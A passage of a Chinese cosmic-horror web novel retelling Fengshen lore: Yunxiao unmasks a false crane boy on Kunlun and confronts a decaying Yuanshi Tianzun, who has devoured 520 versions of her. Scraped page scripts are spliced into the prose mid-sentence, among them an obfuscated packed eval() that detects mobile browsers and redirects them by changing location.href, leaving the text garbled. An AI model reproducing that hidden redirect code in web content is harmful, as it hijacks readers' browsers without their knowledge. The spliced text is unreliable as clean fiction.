她全程都由白鹤童子引路,在池子边也见过别的白鹤,但总体都很正常。 而哪吒所说会吃掉人眼睛的黄中李。云霄想起自己穿过“门”以后吃下的黄色眼珠子,一时竟也分不清它到底是黄中李,还是本来就是什么怪物。 至于最后两句,“不可直视”她早已悉知。“无处不在”这一点,没有比云霄更能体会到的了。 而更可怕的是,她不仅已经亲身经历过“师祖”的恐怖,甚至即将要跟恐怖结成道侣—— 眼看东方既白,昆仑山脉的轮廓在雾色中若隐若现。沉默了一路的杨戬忽然出声道, “此次还要多谢师叔为我奔波。” “不用谢我。” 云霄语声顿了顿,又道,“实在要谢,日后便请你多照顾一下哪吒吧。” “师叔与哪吒倒是投缘。” 杨戬的语声中有一瞬间透出些许意味不明的情绪,叹道,“只是昆仑山已多年未曾有过女弟子登临玉虚宫,恐怕此次不详。” 云霄明知故问,“玉虚宫没有女弟子?” “未曾有过。” 她笑笑,“那我碧游宫倒是挺多的。” 杨戬继续说,“若见玉京山峰,还望师叔将我放在麒麟崖,立刻返回。” 云霄不答,与杨戬各说各话, “既知不详,为何还要让我送你来?” 杨戬静默许久,轻声道, “我拜入师门的第一天,吾师讲了一条教规,告知玉虚宫弟子必须铭记在心。” “什么?” “顺天则昌,逆天则亡。师祖所言即是天理。” 云霄简单理解了一下,这话的意思大概就是,不听元始的话就去死。 她又记起十二金仙依次入九曲黄河阵的情形,一时竟有些同情。好半晌才憋出一句, “你师父他们也不容易。” 早知道当初就手下留情,不把他们的修为一削到底了。 青鸾沉默着靠近了麒麟崖,仿佛是一晃神的功夫,有一只白鹤振翅飞来,化作白发的少年,对二人咧嘴微笑。 “见过云霄师叔,见过杨戬师兄。奉老爷法旨,请二位去三清殿取黄中李三枚,为杨戬师兄换眼。” 三清宫,黄中李……云霄望着白鹤少年的目光微微闪动,蓦地抬头仰望。 昆仑山没有太阳,也没有月亮,混混沌沌,好像无色,又蕴含了世间一切的色彩,只有玉京山是唯一的光源。 可是此刻,光源消失了。 她看到深灰的符号堆积,疯狂的呓语涌入脑海。仿佛无数只眼睛注视着她,密密麻麻如蜂巢。又仿佛深海里乱七八糟的鱼类,伸出黏腻的、古怪的触手,扭曲成无法理解的形状,歌颂混乱,诅咒人们仅存的理性。 “门”开在了天上,不知他们身处的,算是门里还是门外? 【云霄云霄真好吃嘻嘻谁最好吃】 【第五百二十一个】 一根细细的触手从她的耳朵里长出来,伸出黏糊糊的舌头温情的描摹她的眼睛。 云霄一把扯断了那根触手,塞进嘴里。然后轻推杨戬,用一种充满了温情的声音告诉他。 “师侄,天黑了。” 17.我是谁? “我们回去,明日再来。” 大概是因为看不到,杨戬的语声异常的平静。 滑溜溜的东西咕咚顺下咽喉,云霄就像喝了一口水那样自然,丝毫没有察觉出自己方才的动作有哪里不对劲。点点头,表示赞同。 “那就明日再来。” 她一拍座下青鸾,令它调转回头,从头到尾也没理会传话的白鹤童子。 青鸾战栗着几乎不能抬起翅膀,云霄给了它一些法力,它就逃也似的,飞快往远离昆仑的方向飞去。 四下里不知何时起了浓雾,遮住了天地八方。 仿佛是一晃神的功夫,一只白鹤振翅而来,化作白发的少年,对二人咧嘴微笑。 “见过云霄师叔,见过杨戬师兄。奉老爷法旨,请二位去三清殿取黄中李三枚,为杨戬师兄换眼。” 白鹤的笑容,语言,情景,与之前那次一般无二。 云霄恍惚看向前方,麒麟崖近在咫尺。天上一片混沌的黑沉,不知翻腾着什么奇怪的东西。 她推了推身旁的杨戬,温情的说,“师侄,天黑了。” 杨戬打了个寒颤,一时无话。有那么一瞬间,他觉得自己身边的云霄比黑夜的昆仑和不知真假的白鹤童子都要恐怖。 可此刻不信任云霄他还能信任谁呢? 云霄浑然不知自己已成了诡异的一环,只留意到杨戬额心的天目轻轻颤动,似一条扭曲挣扎的蚯蚓,仿佛要从里面探出什么东西来。 她觉得手有点痒,很想去那只天目里挖一挖,要是能把某条不安分的小蚯蚓挖出来就好了。 赶在云霄忍不住要动手之前,杨戬叹道,“请白鹤师弟为我们带路吧。” 云霄没出声,只是看到杨戬眉心的蚯蚓似乎不动了,有点失望。 青鸾跟在白鹤身后,落在麒麟崖上。缩成一只小小的青雀,不敢再往前一步。 云霄只好把它留在这里,搀扶着目不能视的杨戬,跟随白鹤童子往三清殿走去。 杨戬的手搭在云霄的胳膊上,有些惭愧,“又要麻烦师叔了。” “无妨。” 云霄微笑着回答,“不高兴的是祂们,也不是我。” 杨戬抿了抿嘴角,聪明的没有问“祂们”是谁。 他对于昆仑并不熟悉,跟随师父玉鼎真人也只来过四次。仅有的一次遇到黑夜时,玉鼎真人尚未踏入玉京山,带着杨戬掉头就跑。自然什么都没碰到。不曾想今日与云霄一起,竟是逃也逃不了。 两人跟着白鹤走到一宫殿前,尔时天光昏暗,什么也看不清。 白鹤指着殿前的一棵闪耀金光的树说,“这就是先天十大灵根之一的黄中李。” 见那果树,树干约莫有两人合抱那么粗,郁郁葱葱,一颗颗圆润饱满的金黄色果实挂满枝头,上有“黄中”二字,散发出阵阵清香。闻一闻神清气爽,通灵开窍。一看就知是仙家灵根,好不气派。 白鹤少年难掩倨傲之色,道是,“二位速速取了灵果,随我去见老爷吧。” “师叔以为呢?” “不急,我先确认一件事。” 云霄目光从果树上划过,却没有动脚。而是转头问那白鹤少年,问他, “你是白鹤童子吗?” “我当然是。” 他如同被冒犯,怒得白眉倒竖,两颗眼珠子都要跳出来。 云霄笑了,“你怎敢撒谎骗我?” 白鹤少年血红的眼睛瞪出眼眶,舌头伸出老长,发出如同鹤唳的高亢声音。 “你凭什么说我撒谎?” 云霄抬手指长果树后方,被雾气笼罩的黑暗处。 “黄中李只有一棵,长在三清殿前,你看那宫殿上的匾额写的什么?” 杨戬,“写的什么?” “太清殿。” 三清殿前是黄中李,太清殿前不可能长着黄中李。所以白鹤在撒谎。 当她说出这三个字,白鹤的脸像是融化掉了,变作白面光滑的一团,五官落了一地,嘴巴一张一合,发出混乱的呓语。 “不可能不可能不可能……你怎么能看得到啊啊啊…杀了你……” 血红的鹤的眼睛掉在嘴巴边上,怨毒的看着云霄。 与此同时,那棵果树的树干变成长长粗壮的鹤腿,繁茂的枝叶变成环抱的双翅,身前没有头,因为羽翅上挂满了小小的鹤的头颅。 “……杀了你……” 行动枝叶的羽翅展开,粗壮的鹤腿迈开脚步,朝云霄奔来。 “杀了你杀了你杀了你……” 无数鹤唳尖锐刺耳,每一个果子都是鹤的头颅,每一个头颅上都有一只黄澄澄的眼珠子,它们随着奔跑落了满地,争先恐后的滚向云霄,用怨恨的眼神盯着她,要从她身上咬下一块肉来。 杨戬虽目不能视,但这么大的动静再听不到岂非成了聋子傻子。他松开抓着云霄的手,沉静的说, “师叔莫要管我,你先走吧,去找真正的白鹤童子。” 云霄却是稳若泰山,抬手按住杨戬的肩膀,淡淡道, “不用跑,吾在此,白鹤岂敢造次。” 她垂眼对上白鹤坠落在地那双怨毒的眼睛,居高临下,满身祥和,似悯似怜。 “圣人当面,你怎能撒谎骗我?” “不可能啊啊啊!师祖饶命,师祖……祂不会在这里!” 所有滚动的鹤头停了下来,有些几乎已经挨到云霄的衣角。却被无形的力量扯住,不能再进一步。失去了头颅,果树鹤身也没了方向,只在原地打转。 白鹤的嘴开始尖叫,他蹲着身子,两手抓起地上的五官,拼命往脸上按。以至于眼睛一东一西斜着,鼻子跑到头顶上,耳朵紧挨着嘴巴藏在喉咙处,按的乱七八糟。 “我是白鹤!” “你骗我你骗我你是骗我的……师祖师祖饶命哈哈哈哈骗我……我才是白鹤……” 那张融化了五官的白团团的脸庞好像被无形的手捏成各种奇怪的形状,一会儿圆,一会儿方,一会儿异形。总之恢复不成原位。 听着白鹤发疯的声音,杨戬的脸色愈发苍白,用一种极其艰难,含着沙哑的嗓音对她说, “师祖,师祖何在?我,我当拜见才是。” “祂一直都在……”在她身体里? 这是可以说的吗? 【不可以】 【*会生气】 【云霄不乖】 【嘻嘻吃掉你】 【五百二十一】 云霄听到那些细碎的呓语,把原有的回答咽了下去。她的视线往四周巡了一圈,告诉杨戬, “祂无处不在。” 昆仑山本无日月,没有光,也没有暗,混混沌沌,自然不应该有白天与黑夜的分别。 那什么是黑夜呢? 云霄已经悉知,她无所不知。 当“门”出现在天上,恐怖自玉京山污染整个昆仑,空气中密布暗影,那些扭曲拥挤着的触手挤满每一处空间。以至于在看不到真实的人眼里,此刻就成了黑夜。 白鹤童子只有一个,不在师祖面前的白鹤说话皆不可信。也就是说,所有的白鹤在祂面前不能说谎。而黑夜里,祂无处不在 杨戬似有所悟,问云霄, “撒谎的白鹤会怎样?” 【当诛】 【会死】 【嘻嘻被吃掉】 她一一复述出她听到的话。 祂说,“当诛。” 天上降下一道银电惊雷,劈向原地打转的果树鹤身。 祂说,“会死。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>果树鹤身轰然倒地,变成一截焦炭,连带着那些鹤头都焦黑枯萎了。 祂说,“被吃掉。” 地上的鹤唳尖叫戛然而止,无数嬉笑扭曲的触手暗影围住了没有五官的白鹤躯体,一口一口,将之分食殆尽。 【太少了】 【不够吃】 【好想吃五百二十一】 空气中恢复了寂静,没有鹤唳,没有雷鸣。杨戬却仿佛还能听得到云霄方才的声音。她的声音是那样温柔,慈悲,祥和,不含一点杀戮,仿佛能洗涤人心,余韵悠长。 世上怎会有如此祥和?在昆仑,这恰恰是最大的不祥。 杨戬奋力将天目睁开一道缝隙,他修炼八*九玄功多年,自愈能力更胜大罗金仙。这些时日他的眼睛虽然没有恢复,但天目于他更像是一件法宝,真要拼命强行用一用还是可以的。 或许是因为天目受损,一切都模模糊糊,蒙上血红的底色。然透过那一道窄窄的缝隙,杨戬窥见了真实。 他还记得初见的云霄,柳眉细眼,粉面似丹霞生晕,美的脱俗。此刻那张脸依旧如此,温柔慈悲,散发着朦胧的白色光晕,可它却长在一堆如小山般簇拥盘旋张牙舞爪的触手上。 慈悲与诡异,温柔与扭曲,混乱与美丽。它们从光辉中诞生,以恐惧为食,化身诡异。 长着云霄脸的怪物? 不,祂就是云霄。 记忆中遗落的一段在此刻突然清晰了起来。跟随着天目被嵌入额头之时,他不记得是师尊,还是师祖,告诉未来——即今日的他,一句训诫。 “原来是这样……我知道了,我知道了……” 杨戬的眼中流出血泪,嘴角却疯狂上扬,笑的非常夸张。 “那句话不是给我,是给师叔你的。” 他一把抓住祂的手臂,用力之大,指尖几乎要卡进祂的肉里。而祂并没有感觉到疼,而是转过头,温情的注视着他。 “你要跟我说什么?” 祂慈悲的说,“你看到了什么?” 杨戬的天目已经无法支撑,再度闭合了,像一条细细的蚯蚓抖动着,要从他额头逃跑脱离。 可他只是固执的抓着她,嘶声问祂, “师叔,你还记得你是谁吗?” 祂歪了歪头。手臂的血涌出来,是无数猩红的蠕虫,爬满道袍。 “我是……谁?” 慈悲祥和的神情一点点龟裂,迷茫从那张美丽的脸上流露出来。 “我是……我是……” 【你就是我我就是你】 【哈哈五百二十个你跟我在一起】 【是你是你是你】 好吵啊…… 她仿佛看到一片茫茫东海,海上竟起迷雾,遮住了层云。唯有最洁白的那一朵永远洁净,永远自由。 “我,是云?” 猩红的蠕虫爬到杨戬身上,他已站立不稳,跪倒在地,但一只手仍抓紧她,拖延那一点点时间。 “……无论何时,永远都不要忘记,你是谁。” “师叔,切记……” 话音落下,杨戬的意识终于彻底坚持不住,陷入昏迷,他的手指一点点滑落,身躯轰然倒下。 却在最后一点指尖与她擦过之时,另一只纤细的手用力握住了他。 “我记住了。” 云霄郑重的说。 她重新站起身,折断从耳朵里,或者说是脑子里长出的那一根触手,放在手心里。 小小的白白的触手伸出黏糊糊的舌头,温情的舔舐她的掌心,与她说话。 【看来你已通过了考验】 云霄轻声答,“我想我通过了。” 【那就来三清殿罢】 “与你结契?” 【与我结契】 18.第一次演化未来 她将杨戬留在原地,没有带上他继续前行。 这玉虚宫此时最危险的地方除了圣人当前恐怕就是云霄的身边,只要不跟她在一处,以杨戬的肉身强横程度,任他昏迷多久都是安全的。 掌心纯白的触手指引她穿过一段迷雾笼罩的道路,两旁宫殿的轮廓影影绰绰,时而有小山一般的果树仙鹤探出翅膀,羽翅上挂满了鹤头。 最多的时候大概有几千个鹤的头颅,几千对怨毒的眼睛齐齐注视着云霄,长而尖细的喙张开了,将要发出唳鸣。可一见她掌心的纯白触手,就吓得安安静静缩回了宫殿的阴影下。藏在黑暗里,目送她离去。 云霄默数着,大概走了两千五百多步,她看到一团巨大的红,上附有几颗金色的光斑,以一种无法理解的路径在混沌中缓慢流转变幻。 再走近一些,方可见那些金色光斑原是一颗一颗巴掌大,有形而无神的眼珠子。而连接它们,令它们流动的则是神经触须一样展开的红色血管。 “这莫非就是黄中李?” 【是】 【你可摘取一颗】 【它能让你恢复部分理性】 “原来如此。” 云霄想起来了,她第一次来穿过“门”以后,似乎就是吃了一颗黄中李,然后渐渐恢复了理性,重新获得思考的能力。 这倒是个好东西,可惜数量太少。相传此果万年一开花,万年一结果,又过万年才成熟。三万年也只得九个果子。此时那红色血管上挂着的金黄色眼珠子也仅仅只剩下七个了。 当云霄注视着那些金色的眼睛,它们也同样注视着她。当她想要摘下它们时,那些有形而无神的眼睛也逐渐变作贪婪。 她脑海中冒出一个认知—— 若她想吃黄中李,黄中李就会吃掉她的眼睛。 【闭眼寡欲】 【它自会来你手中】 纯白触手,或者说元始天尊的指引来的相当及时。通过了考验以后,这些附加的小知识祂似乎也不吝赐教。 云霄闭上眼,收敛自己的欲*望,将思维放空,形如刚要入定前昏昏沉沉迷迷糊糊的状态。什么也没有想。 一阵奇异的果香沁入鼻腔,她睁开眼,手中已经多了一颗黄澄澄的果子,上有“黄中”二字,扑闪扑闪的,像黑夜里璀璨的星子。 云霄问道,“方才的白鹤说要取三颗黄中李为杨戬师侄治眼睛,可是真的吗?” 【修补天目,一颗即可】 “他自己的眼睛呢?” 【天目补好后,自然痊愈】 “哦,那我可以把这颗黄中李赠予杨戬吗?” 【每人一次只能取用一颗】 云霄笑了笑,毫无贪念,只有两分对自己前途莫名的感慨。 “还是先给他吧,万一我走不出三清殿,这颗黄中李岂不是浪费了。” 掌心的白色触手直立起来,凝视着她。它只有食指粗细,通体为白,滑腻腻光溜溜的,颜值应该是所有触手里最高也最友好的一个。 它没有嘴,却能跟云霄说话。它没有舌头,却能舔舐她的掌心。它没有眼睛,可云霄分明感觉到,它正用一种冷静深邃的目光笼罩着她。细微,但无处不在。 【你很像通天】 沉默片刻后,它如此说。 当它说话,其他的所有触手都会变得安静。 这些话语其实从未发出过声音,以一种不可思议的方式闯入她的思维,污染她的脑子。严重时会把她变成祂的形状。 那些直接作用于思维的言语没有情绪,只有在提到通天时会出现微弱的波动。上一次也是如此。 云霄轻声试探,“所有人都说二师伯与师尊不和。” 她又感觉到那种微弱的波动,随即是如鞭子抽打灵魂一样的剧痛,让她的眼耳口鼻都流出鲜血。 【少言能让你活的更久】 它警告道。 云霄不想看到自己血液中的蠕虫,用法力做了简单的清洁。 她再一次认识到,即便说着结契成道侣,自己在祂眼中依旧不过是个可用的工具。 被取走了一颗果子的黄中李消失在云霄眼前。她方才能看到一只正常体型,没有任何异变的白鹤在三清殿门口沉睡。想来他才是真正的白鹤童子。 她想,一个好用的工具应当是沉默且听话的,就如白鹤童子。可她却做不到。 “最后一个问题。” 在步入三清殿前的最后一刻,云霄顿住脚步,望着她的掌心,极其缓慢,极其轻柔的开口, “你真的是我的二师伯吗?” 【是,也不是】 回答完的纯白触手在她步入三清殿的时刻消失了,好像从未出现过。 三清殿内是一片浑浊的黑暗和寂静,无处不充满着祂的气息。云霄步步向前,走向黑暗的最深处。 黑暗里挤满了幻影,像是各种各样破碎的野兽,它们长出眼睛来看她,眼里布满贪婪的食欲,发出让她思维混乱的呓语。来来回回,颠颠倒倒,不可理解,一点点试图侵入她的思维。 似乎那白色触手离开时也带走了她体内一切有关于祂的痕迹,所以她不再能听懂它们的话。 她低下头,机械地走着,眼睛失去焦距,不去听也不去看。走到黑暗的最深处,即见光明。 “滴答——” 她听到水珠滴在石面上的声音。这声音就像一个净化的符号,唤醒了她的视觉与听觉。 入目所见,是一片灰色低浅的水洼,不算明亮的光自上方照耀下来,让云霄得以看到水洼里倒映的一团模模糊糊的灰白色影子。 “滴答——” 一滴水落下,荡漾层层波纹。似有什么沙石的碎片跟着慢悠悠飘落下来,碰到水面就消失不见。 三清殿里,怎会有水洼? 云霄不解,抬起头。视觉中有很长一段空白,灰色的碎片如流沙窸窸窣窣的飘落。上升到某个高度,她看到大面积斑驳的灰白,裂纹纵深密布。微弱的清光从裂纹中隙出,好似 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来自于另一个时空。 一种莫名的悲凉侵袭了她,这座宫殿里笼罩不祥,以至于她突然不敢再往上看。 “……二师伯?” 她试探的呼唤。 “抬起头来。”圣人的声音近在咫尺,竟然出乎意料的温和。 她闭了闭眼,抬起头,猛地睁开双眼。 这是她第四次见到元始。 云霄记得之前她每一次见到元始天尊,最先看到的永远都是圣人周身刺目的光辉。金灯万朵,垂珠缨络,络绎不绝。在这洪荒世界中,诸天庆云是玉清圣人独一无二的尊崇。连其他圣人都不能及。 然而此刻,她几乎不能将眼前所见与元始天尊联系在一起。 祂灰白相间的长发披垂,周身不着片缕。貌若莲华,修眉凤眼,美如极暗夜幕中静谧的一缕清辉洁净的玉色月华,让人生不起丝毫亵渎之意,更无法用言语来描述。 那张雌雄莫辨的面容,一半线条偏向柔和,显得温柔慈悲,一半线条偏向硬朗,看着冷肃威严。双乳平坦微隆,并无男女性别之分。自胸口锁骨以下石化了一般,斑驳的裂痕一直蔓延到腰部。 而腰部以下……竟是空的? 空的? 云霄的瞳孔骤然收缩,极大的震撼让她几乎站立不稳,连退几步才站稳了身形。惊呼, “圣人不死不灭,不伤不磨,您怎么会……” 圣人慧眼垂光,淡淡道, “你见到的只是吾的意识化身,若让你看到吾的本体,你会立刻身死道消。” “可就算是意识化身也不该……也不该是这个样子啊……” 祂就像是一座岩石雕的神像,历经长久的岁月,被风,被雨水,被任意物质侵蚀腐朽,变得脆弱,腐朽,碎裂。仅余灰白残破的半身。 元始的语气毫无波澜,平静的说, “所以,我们的时间不多了。” “滴答——” 又一滴水落下,带走祂腰部的一片碎裂成沙,簌簌飘落。 祂用温和并着庄严的声音告知她, “吾还有三次机会带你演化未来,三次后,你就要真正与吾的本体结契。” 云霄勉强恢复一点理性,顺着祂的话语询问, “您的本体,是什么样子?” 元始似是思索了片刻,摇摇头,对她说, “那么,这是你的第一次机会。” 听完这句话,她毫无征兆地被拉入一片混沌扭曲的漩涡—— 漩涡大而无边,广若宇宙。云霄所见无底黑暗的深渊,没有人性,没有感情,是祂的眼睛。 与祂对视一眼,生命力便如泄洪一般,从她的每一寸肌肤,从她的发梢末肢离去,让她在极短的时间里,大概只有短暂一念的时间中经历了无尽岁月,变成了没有生命的岩石,再从岩石分离成流沙而消亡…… 她死了。 那双眼照进了现实,元始慈悲又残忍的告知她, “还有两次。” 19.回应 云霄大口的呼吸,冷汗湿透了衣襟,即便她是修士,经历那一刻后也忘记了修为,法力,自我,像一条缺水濒死的鱼,好久才重新感觉到生命的存在。 “这根本就不可能做到!” 她的声音如同沙石摩擦过河滩,死去的人开口一样呕哑难听。可云霄无法去在乎。 生死间有大恐怖。以她现在的能力,连看祂一眼都会死,怎么可能与祂结契? 说什么三次推演未来?笑死,根本不够用! 大概元始是自己也无法用言语解释祂的本体长什么样子,所以让她看一眼是最直观的。商量也不商量,就把她拉进了第一次推演的未来中。结果她果然只看了祂一眼,不,她根本没看到祂就死了。 “还有两次。” 祂说的如此平淡,轻描淡画,仿佛她的一次死亡不过是喝了一口水,扫去衣服上的一只蚂蚁那样轻易。 “两次?” 云霄绝望的呢喃,似哭似笑,是在告诉自己,也是在告诉祂。 “再给我一万次,我也做不到。” 三次机会,对祂来说是那么的轻易,那么的无所谓。祂早知她一见祂的本体就会死,可依然把她扯入这漩涡,用掉对她来说极其稀少的三次机会之一。 殊不知祂的一念却是她的一死。 正如那永恒的一瞬间,祂看了她一眼,而她却在那一眼中经历了不可描述的大恐怖。 她头痛欲裂,汗水浸湿了头发,一缕弯弯曲曲的贴在脸上,遮住眼底出现的淡淡的血色,如线虫,如蛛网,失去了清明。 如果说在外面通过那所谓的考验时她还能勉强绷住,又死过一次后,云霄真的濒临崩溃了。 她一向温柔知礼,此刻却控制不住自己的情绪,想要大喊大叫,想要痛骂这种种一切由祂带来的痛苦。 她也真的这么做了。 “你这怪物!是你强行拉我进来,从不问过我愿不愿意!一直这样!如果不需要我,为什么又要我切记我的存在?为什么要让我醒来?为什么不让我上封神榜?你直接控制我或者你取代了我不是更快?” 她憎恨着,眼泪却不受控的夺出眼眶。 从她第一次被掠到玉虚宫通过“门”,被“门”污染,只是最轻的,初步入侵她的神志。 到岐山脚下,祂的注视令再次异化。她听懂了触手们零零碎碎的呓语,她的眼即是祂的眼,所以太阳变成了诡异,让她产生食欲。 那是真实吗?云霄不知道,她只知道那时的她并不是她自己。真实的她是如此恐惧乃至憎恨着元始,也包括祂的触手,更是永远都不可能对虫子产生食欲。 祂的影响一直存在于她的体内,元神里,无时无刻不要将她同化,变成祂的样子。 每一次异化都是一场考验,是祂的意识与她自我意识的拉扯。 当她再次步入昆仑,再次看到天空中巨大的“门”,污染变得更加深入彻底。 她所听闻的是祂,那些触手即是她的眼,她变成了祂的存在。 所以她能看到“太清殿”,轻易发觉白鹤童子的真假。她能对那假白鹤说出三句话,就令它被抹杀。 唯有圣人言出法行,而并非她本身的能力。那一刻,她已经被诡异同化,模糊忘记了自我,成为了祂,成为了元始的一部分。 如果能够就此沦亡,未必不是一种幸运。 可杨戬发现了不对,开启天目,看到她将要彻底异化的模样,一语道破天机。云霄才终于意识到真正的考验到底是什么,得以快速清醒过来,找回了自我。 她是云霄。她是截教云霄,不是祂*的元始天尊的分*身。 然而即便杨戬的提醒,也是祂提前预知和操纵的未来。 她重新构建起的自我,在见到祂的短短一眼后再度被摧毁。 是她太脆弱了吗?是她太容易被打败了吗? 那么久自来,她的自我意识无时无刻不在沉沦,在挣扎,努力的不被祂所同化。可是祂的一眼却让她深刻领会到自我的渺小。 寻常的死亡不过一瞬,在祂的注视中死亡却是无边的折磨。 那感觉就如从一个人,一朵自由的云,被锁在一块石头里,无法动弹。由生至死,顽石要需要多久才能被风化为流沙,彻底湮灭?是百年?是千年?还是万年?她有思想,却不能说话,她有自我,却渐渐流逝。 然后云霄发现,她痛苦的万年不过只是祂的一念间。 她是如此渺小,脆弱,无能为力,为何还要让她坚持自我意识?为何要在她进入三清殿时离开她的身体,抽离祂所有的标记,放她自由? 祂已经如此强大,何必还需要她的效劳?为什么不能放过她,让她安安静静的去死?天数只是难违,祂却是恐怖与邪恶之源。她要如何与不可描述的怪物神魂相融去结契? “你不如直接杀了我!” 与那种失去自我的折磨相比,死亡竟成了一种恩赐。而上封神榜都是无比的幸运了。 元始静静地看着云霄发泄,看着她流泪,又哭又笑。好似祂真的只是个泥塑的神像,腐朽,苍茫,破败,只余泥塑的半身,面容是平静到诡异的默然。 直到她发泄完,陷入绝望的死寂,祂终于动作,来到她的身前,伸出手,自上而下,轻点她的额头。 几根灰白纤细的触须钻进她的识海,让她的大脑瞬间空白,强行平静下来。 云霄仰起头,无法避免的看到元始,第一次以这样近的距离。 祂悬浮在半空中,身下空荡荡,裂纹斑驳,如灰白的石像。 她看到祂精致的眉眼,一半威严矜贵,一半慈悲柔和。玉颈修长,双乳平坦微隆,长发披垂,体态轻盈而附着力量感。那只轻点她额头的手都如玉雕一般莹润,修长而无瑕。 先天之灵没有性别之分,凡人所能想象的一切美感,不分男女之态,都在祂身上毫无保留的交融。忽略那空荡荡的下半身,祂的一切都是那样的神性,那样的完美无缺,不需要任何点缀。 “滴答——” 又是一滴水落下,云霄看到了完美下的阴影。灰色的水洼跟随着祂,裂纹已经自胸膛爬上了祂的咽喉。 是什么,能让如此强大的祂变得破败? 或许是被长时间寄生的影响,自我意识的云霄如此痛恨元始的存在,可她的身体和灵魂却本能的亲近着祂。 于空白中,她主动握住了祂的手,感受祂冰凉的掌心贴在自己的额头。缓缓闭上眼,如同祈愿。 “请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13809835|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求师伯,告诉我原因。” 至少让她明明白白的死,不要糊里糊涂的遭受这些莫名其妙的折磨。 云霄请求了,而元始没有拒绝。 神明终于回应,慈悲予她垂怜。 祂说,“你永远不会被吾同化。” 祂说,“即便到世界末日,世间一切生灵,包括吾的意识都被污染,忘记自己的存在,你依旧不会忘记。” 祂说,“云霄啊,你是不同的。” 那声音柔和,如月下静静流淌的山泉,好像有一朵花在她耳边绽放,以至于让云霄出现一种错觉——祂很温柔。 思维自静中生慧,云霄努力让自己沉淀下来,询问祂, “还剩下两次演化未来,如果真正的结契失败,我会如何?” 元始回答,“此意识化身彻底碎裂,吾将失去理性。这殿里已设下空间封禁,在吾吞噬你恢复理性前,绝不会打开。” 温柔?当然是错觉。 云霄找到了祂话语中与自己相关的那部分。 “师伯的意思是,吞噬我,你就能恢复理性?” “是。” 祂平静的回答,“你会是第五百二十一个。” 云霄睁开了眼,直视向祂。 “什么叫五百二十一个?难道在我之前,还有五百二十人么?” 圣人垂眸看着她,微微低眉,显得慈悲。 “不算别人,在你之前,吾已吃了五百二十个你。” ……不算别人,那算上别人会有多少? 云霄注视慈悲的祂,感到骨子里都在发冷。 “可是师伯,哪里来的五百二十个我?” 元始答,“平行时空。” “什么叫平行时空?” “与此世类似而独立存在的时空,有相同的你我,却不尽类似,时间和选择不同,未来也不尽相同。” “那五百二十个时空里,每一个时空的我都被你吃了?” “是。” 祂已经吃了五百二十个时空的她,而她是第五百二十一个? 无语到极致,云霄反而笑起来。她大概真是疯了,竟拉下祂依旧按在她额间的手,一口咬了上去。 牙齿下的触感软中带硬,柔滑似玉,说实话,除了没有温度,口感还挺好的。有一种混合着莲花和冰雪的檀香气息。 她都被吃了五百二十次,咬祂一口怎么啦?大不了就是再被吃一次。 带着两分报复的快感,云霄却并未等来预想中的惩戒。似乎除了提到通天,祂的情绪一向是毫无波澜的。 云霄松开了牙口,感到索然无味。看那只手上,果然连一个牙印都没留下。 她继续问,“既然吃掉我就可以让你恢复理性,那师伯为什么不索性直接吃了我?” 元始遂告知她, “因为那五百二十个你之中曾有一个你请求吾,与你结契。” 求祂?与她结契? 云霄扯了扯嘴角,“我疯了吗?” “或许疯了。” 元始注视着云霄,低眉垂眼,年轻而又苍老的眼底一时映满了她的模样,显得冷漠而温情。 “亦或许,她只是想为这个时空的你,截取一线生机。” 20.神交 “一线生机……师尊啊,哪里能有一线生机……” 云霄呢喃着,表情古怪,似讥讽似嘲弄,可默念师尊时,那双被泪水洗过的眼里却又一次萌生出了勇气。 她并非孤身一人。师尊对她予以厚望,还有两个省心的妹妹跟一个不太靠谱的兄长等着她日后为封神榜上的他们撑腰。 “那一世的我是如何向您请求的?” 元始神色淡淡,未见祂有任何动作,便见地下水洼的影子里,钻出一个不断变幻重组的虚影。 “我不会只有被吃掉这一种用途……” 云霄听到她自己的声音从那虚影中传出,低哑,痛苦,压抑,却又有着此刻的她所没有的成熟与坚定。 “若有一世,您于浩劫来临前苏醒,恳请二师伯,与我结契,我能成为你的锚点。” 说完,虚影重新跌入水洼,仿佛从未出现过。 成为祂的锚点……云霄细细咀嚼着这些信息,感受到另一个自己的无奈与期许。 “另一世的我遭遇了什么浩劫?难道连师伯您都无法避免吗?” 元始答道,“每一个时空的洪荒最终都将迎来灭世浩劫,末日来临,洪荒破碎,无人可逃。” “灭世浩劫可以避免吗?” 祂顿了顿,大概有两个呼吸的时间,方才回答, “到此世为止,还未能避免。” 这对云霄来说几乎就等于无解了。于是她迫切的追问, “那浩劫什么时候会到来?” 元始微微垂眼,突然抬起手来,接住了一滴水。 那滴接连不断落下,带走祂身体碎片的水滴这一次没有落入水洼,而是悬停在祂的掌心。让她得以亲眼看清那水滴是如何穿透祂的手掌,留下一个灰白的小小空洞。 然后祂平淡的问她, “这便是通晓未来所付出的代价,你还想知道吗?” “不……弟子知错。” 元始为圣人,元神寄托天道,不死不灭,不伤不磨,祂连意识的化身尚且都逃不过预知未来的代价,她哪里能受得住这如同附骨之疽一般的侵蚀? 云霄断绝了这个念头,只是心下暗忖,元始会不会是因为想要改变未来的浩劫,才变得如此破败和诡异呢? 有反噬的威慑在,她也不敢再问这些超纲的问题,回归正题, “敢问师伯,我要怎么做,才能见您不死,活着与您结契?” 元始淡淡答,“若你成圣,或可见吾不死。” 云霄一时无语。天地间只有七位圣人,个个身负有大功德,她一个小小的大罗金仙,修行不过千年,怎么可能说成圣就成圣。 “还有别的方法吗?” “有。” 元始凝视她,嘴角扬起微笑的弧度,淡漠而慈悲。 “成为本尊的一部分。” 分明是极浅的表情,云霄却恍然从中看到了食欲。那种注视无孔不入的包裹她,让她感到从灵魂到身体的战栗,灵感在尖叫着逃跑,可身躯仿佛被石化了,无法动弹。 